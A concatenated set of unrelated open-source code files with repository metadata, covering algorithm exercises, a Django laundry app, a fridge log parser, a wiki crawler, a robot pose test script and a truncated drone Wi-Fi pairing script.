False\n for i in range(N):\n if not chk[i] and not closs_chk[k][i]:\n flag = True\n chk[i] = 1\n closs_chk[k][i] = 1\n check_closs(k,i,1)\n\n perm(k+1, n, cnt+1)\n\n chk[i] = 0\n closs_chk[k][i] = 0\n check_closs(k,i,-1)\n\n if not flag:\n perm(k + 1, n, cnt)\n\nN = int(input())\nMAX = 0\nchk = [0]*N\ncloss_chk = [[0]*N for _ in range(N)]\nperm(0,N,0)\nprint(MAX)\n\n\n","repo_name":"yooseungju/TIL","sub_path":"Algorithm_class02/AD/B8_[TST]N QUEEN(BASIC).py","file_name":"B8_[TST]N QUEEN(BASIC).py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"4774441888","text":"from gettext import gettext as _\nimport logging\n\nfrom pulp.client.commands.criteria import DisplayUnitAssociationsCommand\nfrom pulp_win.extensions.admin import criteria_utils\nfrom pulp_win.common import ids\n\n# -- constants ----------------------------------------------------------------\n\nALL_TYPES = sorted(ids.SUPPORTED_TYPES)\n\n# List of all fields that the user can elect to display for each supported type\nFIELDS_MSI = list(ids.UNIT_KEY_MSI) + sorted(ids.EXTRA_FIELDS_MSI)\nFIELDS_MSM = list(ids.UNIT_KEY_MSM) + sorted(ids.EXTRA_FIELDS_MSM)\n\n# Used when generating the --fields help text so it can be customized by type\nFIELDS_BY_TYPE = {\n ids.TYPE_ID_MSI: FIELDS_MSI,\n ids.TYPE_ID_MSM: FIELDS_MSM,\n }\n\n# Ordering of metadata fields in each type. Keep in mind these are the display\n# ordering within a unit; the order of the units themselves in the returned\n# list from the server is dictated by the --ascending/--descending options.\nORDER_MSI = FIELDS_MSI\nORDER_MSM = FIELDS_MSM\n\n# Used to lookup the right order list based on type\nORDER_BY_TYPE = {\n ids.TYPE_ID_MSI: ORDER_MSI,\n ids.TYPE_ID_MSM: ORDER_MSM,\n }\n\nLOG = logging.getLogger(__name__)\n\n# -- constants ----------------------------------------------------------------\n\nDESC_MSI = _('search for MSIs in a repository')\nDESC_MSM = _('search for MSMs in a repository')\n\nASSOCIATION_METADATA_KEYWORD = 'metadata'\n\n# -- commands -----------------------------------------------------------------\n\n\nclass BaseSearchCommand(DisplayUnitAssociationsCommand):\n \"\"\"\n Root of all search commands in this module.\n This currently only does modifications\n \"\"\"\n TYPE_ID = None\n NAME = None\n DESCRIPTION = None\n FILTER = None\n\n def __init__(self, context, *args, **kwargs):\n name = self.NAME or self.TYPE_ID\n super(BaseSearchCommand, self).__init__(self.package_search,\n name=name,\n description=self.DESCRIPTION,\n *args, **kwargs)\n self.context = context\n\n def run_search(self, type_ids, out_func=None, **kwargs):\n \"\"\"\n This is a generic command that will perform a search for any type or\n types of content.\n\n :param type_ids: list of type IDs that the command should operate on\n :type type_ids: list, tuple\n\n :param out_func: optional callable to be used in place of\n prompt.render_document. Must accept one dict and an\n optional list of fields\n :type out_func: callable\n\n :param kwargs: CLI options as input by the user and passed in by okaara\n :type kwargs: dict\n \"\"\"\n out_func = out_func or self.context.prompt.render_document_list\n\n repo_id = kwargs.pop('repo-id')\n kwargs['type_ids'] = type_ids\n units = self.context.server.repo_unit.search(repo_id, **kwargs).response_body\n\n if not kwargs.get(DisplayUnitAssociationsCommand.ASSOCIATION_FLAG.keyword):\n units = [u[ASSOCIATION_METADATA_KEYWORD] for u in units]\n\n # Some items either override output function and are not included\n # in the FIELDS_BY_TYPE dictionary. Check so tha they can\n # override the default behavior\n if len(type_ids) == 1 and FIELDS_BY_TYPE.get(type_ids[0]):\n out_func(units, FIELDS_BY_TYPE[type_ids[0]])\n else:\n out_func(units)\n\n @staticmethod\n def _parse_key_value(args):\n return criteria_utils.parse_key_value(args)\n\n @classmethod\n def _parse_sort(cls, sort_args):\n return criteria_utils.parse_sort(DisplayUnitAssociationsCommand,\n sort_args)\n\n def package_search(self, **kwargs):\n def out_func(document_list, display_filter=self.__class__.FIELDS):\n \"\"\"Inner function to filter fields to display to the end user\"\"\"\n\n order = []\n\n # if the --details option has been specified, we need to manually\n # apply filtering to the unit data itself, since okaara's filtering\n # only operates at the top level of the document.\n if kwargs.get(self.ASSOCIATION_FLAG.keyword):\n # including most fields\n display_filter = ['updated', 'repo_id', 'created', 'unit_id',\n 'metadata', 'unit_type_id', 'id']\n # display the unit info first\n order = [ASSOCIATION_METADATA_KEYWORD]\n\n # apply the same filtering that would normally be done by okaara\n for doc in document_list:\n for key in doc[ASSOCIATION_METADATA_KEYWORD].keys():\n if key not in self.FIELDS:\n del doc[ASSOCIATION_METADATA_KEYWORD][key]\n\n self.context.prompt.render_document_list(\n document_list, filters=display_filter, order=order)\n\n self.run_search([self.TYPE_ID], out_func=out_func, **kwargs)\n\n\nclass SearchMsiCommand(BaseSearchCommand):\n TYPE_ID = ids.TYPE_ID_MSI\n FIELDS = FIELDS_MSI\n DESCRIPTION = DESC_MSI\n\n\nclass SearchMsmCommand(BaseSearchCommand):\n TYPE_ID = ids.TYPE_ID_MSM\n FIELDS = FIELDS_MSM\n DESCRIPTION = DESC_MSM\n","repo_name":"mibanescu/pulp_win","sub_path":"extensions_admin/pulp_win/extensions/admin/contents.py","file_name":"contents.py","file_ext":"py","file_size_in_byte":5335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"73841753743","text":"from django.db import models\nfrom users.models import Client, LaundryMan\nfrom django.utils.translation import gettext_lazy as _\nfrom django.urls import reverse\n\n\nclass Iron(models.Model):\n shirt = models.IntegerField(blank=True, null=True)\n trousers = models.IntegerField(blank=True, null=True)\n suits_and_jackets = models.IntegerField(blank=True, null=True)\n\n def get_iron_cost(self):\n shirt_rate = 100\n trouser_rate = 150\n jacket_rate = 300\n shirt_cost = 0\n trouser_cost = 0\n jacket_cost = 0\n if self.shirt:\n shirt_cost = self.shirt * shirt_rate\n if self.trousers:\n trouser_cost = self.trousers * trouser_rate\n if self.suits_and_jackets:\n jacket_cost = self.suits_and_jackets * jacket_rate\n cost = shirt_cost + trouser_cost + jacket_cost\n return cost\n\n\nclass LaundryBasket(models.Model):\n\n class Description(models.TextChoices):\n WEIGHT = 'Weight', _('weight')\n Quantity = 'quantity', _('quantity')\n Dry_Clean = 'dry clean', _('dry clean')\n\n RATING = (\n (1, 1),\n (2, 2),\n (3, 3),\n (4, 4),\n (5, 5)\n )\n\n user = models.ForeignKey(Client, on_delete=models.CASCADE)\n laundry_man = models.ForeignKey(LaundryMan, null=True, on_delete=models.SET_NULL)\n clothing_description = models.CharField(choices=Description.choices, max_length=10)\n weight = models.FloatField(blank=True, null=True)\n shirt = models.IntegerField(blank=True, null=True)\n trousers = models.IntegerField(blank=True, null=True)\n suits_and_jackets = models.IntegerField(blank=True, null=True)\n natives = models.IntegerField(blank=True, null=True)\n underwear = models.IntegerField(blank=True, null=True)\n bedsheets = models.IntegerField(blank=True, null=True)\n blankets_and_duvets = models.IntegerField(blank=True, null=True)\n iron = models.OneToOneField(Iron, null=True, blank=True, on_delete=models.SET_NULL)\n ordered = models.BooleanField(default=False)\n date_created = models.DateTimeField(auto_now_add=True)\n date_required = models.DateTimeField(null=True)\n completed = models.BooleanField(default=False)\n rating = models.IntegerField(choices=RATING, blank=True, null=True)\n slug = models.SlugField(unique=True, blank=True)\n\n def __str__(self):\n return f'{self.user.client.username} basket, attended to by'\n\n def get_absolute_url(self):\n slug = str(self.user.slug)\n return reverse('dashboard', kwargs={'slug': slug})\n\n def get_weight_cost(self):\n rate = 1500\n cost = self.weight * rate\n return cost\n\n def get_quantity_cost(self):\n shirt_rate = 200\n trouser_rate = 300\n jacket_rate = 500\n shirt_cost = 0\n trouser_cost = 0\n jacket_cost = 0\n if self.shirt:\n shirt_cost = shirt_rate * self.shirt\n if self.trousers:\n trouser_cost = self.trousers * trouser_rate\n if self.suits_and_jackets:\n jacket_cost = self.suits_and_jackets * jacket_rate\n cost = shirt_cost + trouser_cost + jacket_cost\n return cost\n\n def get_dry_clean_cost(self):\n shirt_rate = 300\n trouser_rate = 450\n jacket_rate = 700\n shirt_cost = 0\n trouser_cost = 0\n jacket_cost = 0\n if self.shirt:\n shirt_cost = shirt_rate * self.shirt\n if self.trousers:\n trouser_cost = self.trousers * trouser_rate\n if self.suits_and_jackets:\n jacket_cost = self.suits_and_jackets * jacket_rate\n cost = shirt_cost + trouser_cost + jacket_cost\n return cost\n\n def get_total_cost(self):\n wash_cost = 0\n iron_cost = 0\n if self.clothing_description == 'Weight':\n wash_cost = self.get_weight_cost()\n\n if self.iron:\n iron_cost = self.iron.get_iron_cost()\n else:\n iron_cost = 0\n elif self.clothing_description == 'quantity':\n wash_cost = self.get_quantity_cost()\n\n if self.iron:\n iron_cost = self.iron.get_iron_cost()\n else:\n iron_cost = 0\n\n elif self.clean_fields == 'dry clean':\n wash_cost = self.get_dry_clean_cost()\n\n total_cost = wash_cost + iron_cost\n return total_cost\n\n\nclass Payment(models.Model):\n user = models.ForeignKey(Client, null=True, on_delete=models.SET_NULL)\n laundry_basket = models.OneToOneField(LaundryBasket, null=True, on_delete=models.SET_NULL)\n amount = models.FloatField()\n transaction_id = models.CharField(max_length=100)\n date = models.DateTimeField(auto_now_add=True)\n\n\nclass Request(models.Model):\n client = models.ForeignKey(Client, on_delete=models.CASCADE)\n laundry_man = models.ForeignKey(LaundryMan, on_delete=models.CASCADE)\n laundry_basket = models.ForeignKey(LaundryBasket, on_delete=models.CASCADE)\n accepted = models.BooleanField(null=True)\n viewed = models.BooleanField(default=False)\n description = models.TextField(blank=True, null=True)\n time_created = models.DateTimeField(auto_now_add=True)\n time_accepted = models.DateTimeField(blank=True, null=True)\n slug = models.SlugField(unique=True)\n\n def __str__(self):\n return f'{self.client.client.username} request to {self.laundry_man.laundry_man.username}'\n\n def get_absolute_url(self):\n slug = str(self.client.slug)\n return reverse('dashboard', kwargs={'slug': slug})\n\n# Create your models here.\n\n\n","repo_name":"codemunsta/Dev-App","sub_path":"washapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43187141465","text":"N = int(input())\nli = []\nfor _ in range(N):\n x, y = (int(x) for x in input().split())\n li.append((x,y))\n\nmax_val = 0\nfor i in range(N):\n for j in range(i+1,N):\n max_val = max(max_val, (li[i][0] - li[j][0]) ** 2 + (li[i][1] - li[j][1]) ** 2)\n\nprint(max_val**0.5)","repo_name":"hitochan777/kata","sub_path":"atcoder/abc234/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20971972918","text":"#! /usr/bin/env python\n\nimport NER\nimport sys\nimport os\nimport re\n\n\ndef fixCols(fin, fout):\n fin = os.path.abspath(fin)\n fout = os.path.abspath(fout)\n text = NER.getText(fin)\n txt = re.sub(r\"(\\nO)\",'\\n.\\tO',text)\n NER.writeText(fout, txt)\n\ndef addNewlines(fin, fout):\n fin = os.path.abspath(fin)\n fout = os.path.abspath(fout)\n text = NER.getText(fin)\n txt = re.sub(r\"(^[.|?|!].*)\",'\\\\1\\n',text)\n NER.writeText(fout, txt)\n\nif __name__==\"__main__\":\n fixCols(sys.argv[1], sys.argv[2])\n addNewlines(sys.argv[2],sys.argv[2]+\".out\")\n","repo_name":"aboSamoor/lydia","sub_path":"aner/splitStatements.py","file_name":"splitStatements.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"} +{"seq_id":"32301623458","text":"import cv2\n\n#first thing is we need to code how to access our webcam and view video from it\n\nvideo = cv2.VideoCapture(0)\n\nwhile(True):\n #capture the vidoes frame by frame\n r,frame = video.read()\n\n #for displaying the resulting frame\n\n cv2.imshow('frame',frame)\n\n\n #for turning off the cam \n # we are using keyboard key x see the py doc for accessing the keys in program\n if cv2.waitKey(1) & 0xFF == ord('x'): #you can change this\n break\n\nvideo.release\n\ncv2.distroyAllWindows()\n\n","repo_name":"Sanjeevvarmabetter/Securitycamera","sub_path":"access_the_cam.py","file_name":"access_the_cam.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2168310562","text":"from . ParserGeneral import ParserGeneral\nimport json\nimport os\nimport datetime\n\nclass ParserBluFors(ParserGeneral):\n def __init__(self, config_file, log_directory, lowercase_names = False):\n self._log_dir = log_directory\n self._log_dir = self._log_dir.replace('\\\\','/')\n if self._log_dir[-1] != '/':\n self._log_dir = self._log_dir + '/'\n\n #Get configuration data - value for a key is given as: [file-name, label, offset to value]\n #For example, [\"Status\", \"cpatempwi\", 1] implies the label \"cpatempwi\" with the value being\n #the index right after in the comma separated file.\n #\n #If it is given as [\"CH6\"], then it's just time-value and thus, the value after the last\n #comma is taken...\n self.load_config_JSON(config_file, lowercase_names)\n \n def getNewData(self, lastTimeStamps={}):\n #Presume that data is strictly stored in time-stamped folders \n all_folders = next(os.walk(self._log_dir))[1]\n\n #Collect all files that need to be read to extract all desired parameters\n req_files = [ self._config_data['parameters'][cur_key]['location'][0] for cur_key in self._config_data['parameters'] ]\n req_files = set(req_files)\n ret_params = {}\n #Iterate over each file (i.e. extract all requried parameters from the file instead of opening it multiple times for each parameter)\n for cur_file in req_files:\n #Parameters in a single file are tabular - so just take the minimum time-stamp (they should mostly be the same, but maybe it forgot to enter one of them before...)\n cur_params_in_file = [ self._config_data['parameters'][cur_key]['db'] for cur_key in self._config_data['parameters'] if self._config_data['parameters'][cur_key]['location'][0] == cur_file]\n lastTimeStamp = min([lastTimeStamps[x] for x in cur_params_in_file])\n\n cur_folders = []\n #Find all relevant data folders...\n for cur_folder in all_folders:\n try:\n year = int(cur_folder[0:2]) + 2000\n month = int(cur_folder[3:5])\n day = int(cur_folder[6:8])\n except:\n continue\n if lastTimeStamp.year > year:\n continue\n if lastTimeStamp.year == year:\n if lastTimeStamp.month > month:\n continue\n if lastTimeStamp.month == month and lastTimeStamp.day > day:\n continue\n cur_folders += [cur_folder]\n cur_folders = sorted(cur_folders)\n\n #Find the folders that contain information to be read...\n for cur_folder in cur_folders:\n cur_path = self._log_dir + cur_folder + '/'\n cand_files = next(os.walk(cur_path))[2]\n leFile = ''\n for cur_cand_file in cand_files:\n if cur_cand_file.startswith(cur_file):\n leFile = cur_path + cur_cand_file\n break\n if leFile == '':\n continue\n \n #Read all lines that come after lastTimeStamp for the log file inside this current (time-stamped) folder\n relevantLines = []\n with open(leFile) as f:\n for line in f:\n cur_timestamp = line.split(',')[:2]\n cur_timestamp = cur_timestamp[0].split('-')[::-1] + cur_timestamp[1].split(':')\n cur_timestamp = [int(x) for x in cur_timestamp]\n cur_timestamp[0] += 2000\n cur_timestamp = datetime.datetime(*cur_timestamp)\n if cur_timestamp > lastTimeStamp:\n relevantLines += [(cur_timestamp, line.split(','))]\n if len(relevantLines) == 0:\n continue\n\n #Gather all parameters that are to be read from this file...\n cur_params = [ self._config_data['parameters'][cur_key] for cur_key in self._config_data['parameters'] if self._config_data['parameters'][cur_key]['location'][0] == cur_file]\n for cur_param in cur_params:\n cur_db = cur_param['db']\n if not cur_db in ret_params:\n ret_params[cur_db] = []\n for cur_line in relevantLines:\n if len(cur_param['location']) == 3:\n if cur_param['location'][1] in cur_line[1]:\n cur_val = float(cur_line[1][cur_line[1].index(cur_param['location'][1])+cur_param['location'][2]])\n else:\n continue\n else:\n cur_val = float(cur_line[1][-1])\n ret_params[cur_db] += [(cur_line[0], cur_val)]\n \n return ret_params\n \n","repo_name":"sqdlab/SQDFridgeLog","sub_path":"FridgeParsers/ParserBluFors.py","file_name":"ParserBluFors.py","file_ext":"py","file_size_in_byte":5049,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"17204832270","text":"from urllib.request import urlopen\nfrom urllib.parse import urlencode\nimport json\nimport argparse\nimport pathlib\nimport pprint\n\n\ndef askWikiAPI(url, query):\n payload = {'action': 'ask', \n 'format': 'json',\n 'errorlang': 'uselang',\n 'query': query}\n payload_string = urlencode(payload)\n \n with urlopen('?'.join([url + \"/api.php\", payload_string])) as response: \n if (response.status != 200):\n raise Exception(\"Wiki API returned {}\".format(response.status))\n return json.load(response)\n\ndef createQueryString(keys):\n return ' | '.join(['[[{key}::+]]|?{key}'.format(key=key) for key in keys])\n\n# Media wiki changes property name strings for what ever reason.\n# This helper function emulates that behavior.\ndef wikifyString(input):\n return input.replace('_', ' ').capitalize()\n\n\ndef extractTextFromRequest(response, add_source_link=False):\n\n # \"printrequests\" contains datatype to determine result structure\n # and 'label' (weird media wiki format) vs 'key' (as requested)\n propertyInfo = {property['label']: property for property in response['query']['printrequests']}\n\n # gather all returned properties into an organized dict\n outDict = {}\n for pagekey, page in response['query']['results'].items():\n pageDict = {}\n\n if(add_source_link):\n pageDict['source_link'] = page['fullurl']\n\n for propertylabel, property in page['printouts'].items():\n\n # handle data types\n # default 'page' type has multiple objects\n if(propertyInfo[propertylabel]['typeid'] == '_wpg'):\n pageDict[propertyInfo[propertylabel]['label']] = [entry['fulltext'] for entry in property]\n # rest can be handled as string\n else:\n pageDict[propertyInfo[propertylabel]['label']] = property\n\n\n outDict[pagekey] = pageDict\n return outDict\n \ndef writeMarkdownFiles(path, checklist_data, metadata, text, add_source_link=False):\n for pagename, page in checklist_data.items():\n print(\"Writing file {}\".format(pagename))\n with open(path / ''.join([makePOSIXfilename(pagename),'.md']), 'w') as f:\n f.write('---\\n')\n\n if(add_source_link):\n f.write('source_link: {}\\n'.format(page['source_link']))\n \n for propertyname, property in page.items():\n if propertyname not in [wikifyString(i) for i in metadata]:\n print(\"{} not found in {}\".format(propertyname, metadata))\n continue\n # if only one entry just print it\n if len(property) == 1:\n f.write('{}: {}\\n'.format(metadata[0], property[0]))\n else:\n f.write('{}: \\n'.format(propertyname))\n # find matching (ugly) media wiki and input key\n for metadata_propertyname in metadata:\n if wikifyString(metadata_propertyname) == propertyname:\n f.write('{}: \\n'.format(metadata_propertyname))\n break\n\n for line in property:\n f.write(' - {}\\n'.format(line))\n \n f.write('---\\n\\n')\n \n for propertyname, property in page.items():\n\n if propertyname not in [wikifyString(i) for i in text]:\n print(\"{} not found in {}\".format(propertyname, text))\n continue\n # find matching (ugly) media wiki and input key\n for text_propertyname in text:\n if wikifyString(text_propertyname) == propertyname:\n f.write('# {}\\n'.format(text[text_propertyname]))\n break\n\n for line in property:\n f.write('* {}\\n'.format(line))\n f.write(\"\\n\")\n \ndef makePOSIXfilename(filename):\n safeFilenameChars = ['_', '-', '.']\n return \"\".join([c if c.isalnum() or c in safeFilenameChars else '_' for c in filename])\n\nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser(description='Pulling Semantic Media Wiki properties and writing them into a pandoc Markdown file')\n parser.add_argument('-u', '--url', dest='url', required=True,\n help='Wiki page url to request')\n parser.add_argument('-m', '--meta', dest='meta', \n action='extend', nargs='+', metavar='META-PROPERTY',\n help='Wiki properties to add to YAML header.\\\n If multiple entries are found, they\\'ll be added as a list.')\n parser.add_argument('-t', '--text', dest='text', \n action='append', nargs=2,\n metavar=('HEADING', 'TEXT-PROPERTY'),\n help='Wiki properties to add as text section.\\\n Section name will be used as heading.\\n \\\n Can be called multiple times to add more text properties.\\\n If a property is found multiple times they are added as new lines.')\n parser.add_argument('-o', '--out', dest='path', type=pathlib.Path, default='./',\n metavar='OUTPUTPATH',\n help='Optional output path.')\n parser.add_argument('--source_link', dest=\"source_link\", action='store_true',\n help=\"Write the source link into the metadata header as 'source_link'\")\n \n args = parser.parse_args()\n \n# print(args.url)\n \n # creating a dict for text section headings\n text_headings = {text[1]:text[0] for text in args.text}\n# print([key for key in text_headings])\n \n query = createQueryString(args.meta + [key for key in text_headings])\n # print(query)\n \n response = askWikiAPI(args.url, query)\n # pprint.pprint(response)\n \n checklist_data = extractTextFromRequest(response, args.source_link)\n # pprint.pprint(checklist_data)\n \n writeMarkdownFiles(args.path, checklist_data, args.meta, text_headings, args.source_link)\n","repo_name":"comakingspace/Machine-Checklists","sub_path":"src/wiki_checklist_crawler.py","file_name":"wiki_checklist_crawler.py","file_ext":"py","file_size_in_byte":6189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72926345421","text":"import random\nimport time\nimport os\nimport json\nimport traceback\nimport statistics\nimport datetime\nfrom collections import defaultdict\n\nimport torch\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nimport numpy as np\nimport MinkowskiEngine as ME\nimport open3d as o3d\n\nfrom utils import config, logger, utils, metrics\nfrom utils.loss import get_criterion, LossType\n\n\nimport ipdb\n\n\n_config = config.Config()\n_logger = logger.Logger().get()\n\n_use_cuda = torch.cuda.is_available()\n_device = torch.device(\"cuda\" if _use_cuda else \"cpu\")\n\n_voxelize_position = _config()[\"DATA\"].get(\"voxelize_position\", False)\n_quantization_size = _config()[\"DATA\"].get(\"quantization_size\", 1 / _config.DATA.scale)\n_position_quantization_size = _quantization_size if _voxelize_position else 1\n\ntorch.set_printoptions(precision=_config.TEST.print_precision, sci_mode=False)\n\n\ndef test(model, criterion, data_loader, output_filename=\"results.txt\"):\n data_iter = iter(data_loader)\n model = model.eval()\n with torch.no_grad():\n start = time.time()\n\n overall_results = defaultdict(list)\n individual_results = defaultdict(lambda: defaultdict(list))\n results_json = {}\n\n for i, batch in enumerate(data_iter):\n try:\n coords, feats, _, poses, others = batch\n poses = poses.to(device=_device)\n\n model_input = ME.SparseTensor(feats, coordinates=coords, device=_device)\n\n if _config.STRUCTURE.use_joint_angles:\n joint_angles = [o['joint_angles'] for o in others]\n joint_angles = torch.cat(joint_angles, dim=0).to(device=_device)\n model_input = (model_input, joint_angles)\n\n out = model(model_input)\n poses[:, :3] *= _position_quantization_size\n\n loss = criterion(out, poses, x=model_input).item()\n\n metric_results = metrics.compute_pose_dist(poses, out)\n (\n dist,\n dist_position,\n dist_orientation,\n angle_diff,\n ) = tuple(mr.tolist() for mr in metric_results)\n\n for fi, other_info in enumerate(others):\n fname = other_info[\"filename\"]\n position = other_info[\"position\"]\n\n print(f\"{position}/{fname}\")\n preds_fi = [round(p, 4) for p in out[fi].tolist()]\n result = {\n \"dist\": round(float(dist[fi]), 4),\n \"dist_position\": round(float(dist_position[fi]), 4),\n \"dist_orientation\": round(float(dist_orientation[fi]), 4),\n \"angle_diff\": round(float(angle_diff[fi]), 4),\n \"preds\": preds_fi[:7],\n \"poses\": [round(p, 4) for p in poses[fi].tolist()],\n \"position_confidence\": preds_fi[7] if _config.STRUCTURE.compute_confidence else 0,\n \"orientation_confidence\": preds_fi[8] if _config.STRUCTURE.compute_confidence else 0,\n \"confidence\": preds_fi[9] if _config.STRUCTURE.compute_confidence else 0\n }\n overall_results[\"dist\"].append(result[\"dist\"])\n overall_results[\"dist_position\"].append(result[\"dist_position\"])\n overall_results[\"dist_orientation\"].append(\n result[\"dist_orientation\"]\n )\n overall_results[\"angle_diff\"].append(result[\"angle_diff\"])\n\n individual_results[position][\"dist\"].append(result[\"dist\"])\n individual_results[position][\"dist_position\"].append(\n result[\"dist_position\"]\n )\n individual_results[position][\"dist_orientation\"].append(\n result[\"dist_orientation\"]\n )\n individual_results[position][\"angle_diff\"].append(\n result[\"angle_diff\"]\n )\n individual_results[position][\"position_confidence\"].append(\n result[\"position_confidence\"]\n )\n individual_results[position][\"orientation_confidence\"].append(\n result[\"orientation_confidence\"]\n )\n individual_results[position][\"confidence\"].append(\n result[\"confidence\"]\n )\n results_json[f\"{position}/{fname}\"] = result\n\n with open(output_filename, \"a\") as fp:\n fp.write(\n f\"{position}/{fname}: {json.dumps(result, indent=4)}\\n\"\n )\n # ipdb.set_trace()\n except Exception as e:\n print(e)\n _logger.exception(f\"Filenames: {json.dumps(others)}\")\n raise e\n\n with open(output_filename.replace('.txt', '.json'), \"a\") as fp:\n json.dump(results_json, fp)\n\n for k in overall_results:\n overall_results[k] = round(statistics.mean(overall_results[k]), 4)\n for pos in individual_results:\n for k in individual_results[pos]:\n individual_results[pos][k] = round(\n statistics.mean(individual_results[pos][k]), 4\n )\n\n with open(output_filename, \"a\") as fp:\n fp.write(\"\\n---------- SUMMARY ----------\\n\")\n\n for pos in individual_results:\n fp.write(f\"{pos}: {json.dumps(individual_results[pos], indent=4)}\\n\")\n\n fp.write(f\"Overall: {json.dumps(overall_results, indent=4)}\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"CONFIG: {_config()}\")\n\n if _use_cuda:\n torch.cuda.empty_cache()\n\n if _config()[\"STRUCTURE\"].get(\"encode_only\", False):\n from model.robotnet_encode import RobotNetEncode as RobotNet\n else:\n from model.robotnet import RobotNet\n\n from data.alivev2 import AliveV2Dataset, collate\n\n criterion = get_criterion(device=_device)\n compute_confidence = _config()['STRUCTURE'].get('compute_confidence', False)\n model = RobotNet(\n in_channels=3,\n out_channels=10 if compute_confidence else 7,\n D=3\n )\n\n start_epoch = utils.checkpoint_restore(\n model,\n f=os.path.join(_config.exp_path, _config.TEST.checkpoint),\n use_cuda=_use_cuda,\n )\n\n print(\"Loaded model.\")\n\n dataset_name = \"\"\n\n file_names = defaultdict(list)\n file_names_path = _config()['DATA'].get('file_names')\n if file_names_path:\n file_names_path = file_names_path.split(',')\n\n dataset_name = utils.remove_suffix(file_names_path[0].split('/')[-1], '.json')\n\n with open(file_names_path[0], 'r') as fp:\n file_names = json.load(fp)\n\n for fnp in file_names_path[1:]:\n with open(fnp, 'r') as fp:\n new_file_names = json.load(fp)\n\n for k in new_file_names:\n if k in file_names:\n file_names[k].extend(new_file_names[k])\n\n for dt in (\"val\", \"test\", \"train\"):\n print(\"Dataset:\", dt)\n\n if not file_names[dt]:\n print(f\"Dataset {dt} split is empty.\")\n continue\n\n dataset = AliveV2Dataset(\n set_name=dt,\n file_names=file_names[dt],\n quantization_enabled=_config.DATA.quantization_enabled\n )\n data_loader = DataLoader(\n dataset,\n batch_size=_config.TEST.batch_size,\n collate_fn=collate,\n num_workers=_config.TEST.workers,\n shuffle=False,\n drop_last=False,\n pin_memory=True,\n )\n\n test(\n model,\n criterion,\n data_loader,\n output_filename=os.path.join(\n _config.exp_path,\n f\"{utils.remove_suffix(_config.TEST.checkpoint, '.pth')}_results_{dataset_name}_{dt}.txt\",\n ),\n )\n\n # ipdb.set_trace()\n\n print(\"DONE!\")\n","repo_name":"bcsefercik/markerless-robot-calibration-training-app","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":8198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5940629367","text":"#!/usr/bin/env python\n\nimport errno\nimport ConfigParser\nimport logging\nimport logging.config\nimport os\nimport pair\nimport re\nimport select\nimport shutil\nimport socket\nimport struct\nimport sys\nimport time\nsys.path.append(\"/usr/bin\")\nimport clock\nimport ifconfig\nimport iw\nimport runlevel\nimport udhcpc\nimport wpa_control\nimport wpa_supplicant\nimport rc_lock\n\nsololink_conf = \"/etc/sololink.conf\"\nwpa_supplicant_conf = \"/etc/wpa_supplicant.conf\"\nwpa_supplicant_back = \"/etc/wpa_supplicant.back\"\nsololink_version_file = \"/VERSION\"\nfirmware_version_file = \"/PIX_VERSION\"\ncontroller_sololink_version_file = \"/tmp/PEER_SL_VERSION\"\ncontroller_firmware_version_file = \"/tmp/PEER_FW_VERSION\"\n\n# defaults for items normally read from config file\ncontroller_link_port = 5501\nwifi_connect_timeout = 5.0\nconnect_request_interval = 1.0\nconnect_ack_timeout = 0.5\nbutton_filename = \"/dev/input/event0\"\nsolo_ip = \"10.1.1.10\"\ncheck_versions = True\n\n# It is not critical that the PIN be secret. The reason for using WPS PIN is\n# not the PIN's security (it is not), but that we can cause hostapd to ask us\n# for the PIN, at which time get confirmation from the user.\nsecret_pin = 74015887\n\nbutton_error = False\nbutton_file = None\n\nrunlevel_ready = False\n\n# Log a version mismatch once per minute\nversion_mismatch_log_time_us = 0\nversion_mismatch_log_interval_us = 60 * 1000000\n\ncontroller_sololink_version = None\ncontroller_firmware_version = None\n\nifname = \"wlan0\"\n\nwpa = wpa_control.WpaControl(ifname)\n\n\n# conditions:\n# paired/not_paired: whether network exists in wpa_supplicant.conf\n\n\ndef pair_button():\n \"\"\"get status of pairing button\n\n Returns True if pairing button has been pushed since the last call to this\n function, or False otherwise.\n \"\"\"\n global button_error, button_file\n if not button_error and button_file is None:\n # open on first call\n try:\n button_file = open(button_filename)\n except:\n button_error = True\n logger.error(\"can't open %s for reading\", button_filename)\n pushed = False\n if not button_error:\n # read all events, looking for pushes and ignoring others\n while True:\n r, w, x = select.select([button_file], [], [], 0)\n if len(r) == 0:\n # no more events\n break\n # button event\n event = r[0].read(16)\n if len(event) != 16:\n logger.error(\"event not 16 bytes: len=%d, event=%s\",\n len(event),\n str([hex(ord(x)) for x in event]))\n # event is:\n # struct input_event {\n # struct timeval time;\n # unsigned short type;\n # unsigned short code;\n # unsigned int value;\n # };\n # time: 8 bytes, not used here\n # type: EV_SYN=0x0000, EV_KEY=0x0001\n # code: KEY_WPS_BUTTON=0x0211\n # value: 1 on push, 0 on release\n # Fields are little endian.\n #\n # button push:\n # xx xx xx xx xx xx xx xx 01 00 11 02 01 00 00 00\n # type=0x0001 code=0x0211 value=0x00000001\n # xx xx xx xx xx xx xx xx 00 00 00 00 00 00 00 00\n # type=0x0000 code=0x0000 value=0x00000000\n #\n # button release:\n # xx xx xx xx xx xx xx xx 01 00 11 02 00 00 00 00\n # type=0x0001 code=0x0211 value=0x00000000\n # xx xx xx xx xx xx xx xx 00 